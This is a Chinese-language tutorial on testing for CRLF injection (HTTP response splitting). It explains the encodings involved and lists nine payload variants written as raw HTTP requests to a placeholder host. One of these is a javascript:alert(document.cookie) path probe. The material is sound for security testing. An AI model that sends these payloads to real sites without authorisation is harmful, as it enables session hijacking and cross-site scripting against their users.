本文主要讲解CRLF(回车换行)注入漏洞的测试方法。在开始具体讲解之前,我们先简要了解什么是CRLF。
CRLF是“回车(Carriage Return)+ 换行(Line Feed)”(\r\n)的简称。在HTTP协议中,HTTP头(Header)与HTTP体(Body)是用两个连续的CRLF来分隔的。浏览器正是根据这两个CRLF来解析并显示HTTP响应内容的。因此,一旦攻击者能够控制HTTP消息头中的字符,并注入恶意的换行符,就有可能注入会话Cookie甚至HTML代码,实现会话劫持或跨站脚本攻击。所以CRLF注入也被称为HTTP响应拆分(HTTP Response Splitting,简称HRS)。
如果你想了解更具体的案例分析,可以参考这个链接:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
预备知识
在进行测试前,需要掌握一些关键的编码知识:
\r\n 所对应的URL编码为: %0d%0a ,其ASCII码为 0x0D0x0A。
- 在UTF-8编码中,
%E5%98%8A = %0A = \u560a , %E5%98%8D = %0D = \u560d。
- 其他常用URL编码:
%20 对应空格,%3b 对应 ;,%3F对应 ?,%23对应 #。
CRLF注入测试方法
以下是针对CRLF注入漏洞的9种常见测试Payload,你可以尝试在HTTP请求头(如参数、路径)中注入它们,观察服务器响应是否被拆分。
1. 注入原始回车换行符 \r\n
尝试在Header参数中直接插入 \r\n,并附带一个测试头,例如 Set-Cookie: Me。
GET /Header?Parameter=\r\nKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
2. 注入URL编码的回车换行符 %0D%0A
这是最常用的测试方式,将 \r\n 编码后注入。
GET /Header?Parameter=%0D%0AKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
3. 单独注入回车 %0D 或换行 %0A
有时单独注入其中一个字符也可能成功。
GET /Header?Parameter=%0DKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
4. 注入ASCII形式的回车换行符 0x0D0x0A
尝试以ASCII码的文本形式注入。
GET /Header?Parameter=0x0D0x0AKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
5. 注入UTF-8编码的回车换行符 %E5%98%8A%E5%98%8D
利用UTF-8编码的特定字符进行注入。
GET /Header?Parameter=%E5%98%8A%E5%98%8DKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
6. 注入Unicode形式的回车换行符 \u560d\u560a
尝试使用Unicode转义序列。
GET /Header?Parameter=\u560d\u560aKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
7. 注入超长字符串
尝试在Header中注入超长字符串(例如7000字节),这可能导致缓冲区溢出或响应截断,间接实现类似于CRLF注入的效果。
GET /Header?Parameter=+++++ 7000 bytes +++++Key: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
8. 注入编码后的特殊字符组合
尝试注入类似 %3F%0D (? + \r)、%23%0D (# + \r)、%3F%0A 或 %23%0A 的组合,某些解析器在处理问号或井号时可能存在问题。
GET /Path%3F%0DKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
9. 注入特殊格式的路径
尝试注入包含特殊字符和脚本的路径,用于测试更复杂的解析逻辑。
GET //x:1/:///%01javascript:alert(document.cookie)/ HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
参考链接
本文部分测试思路参考了以下公开的安全报告与文章,对深入理解CRLF注入漏洞的利用与防御很有帮助:
安全研究需要持续的实践与交流,如果你对这类网络协议层面的漏洞感兴趣,可以到 云栈社区 与更多技术同仁探讨。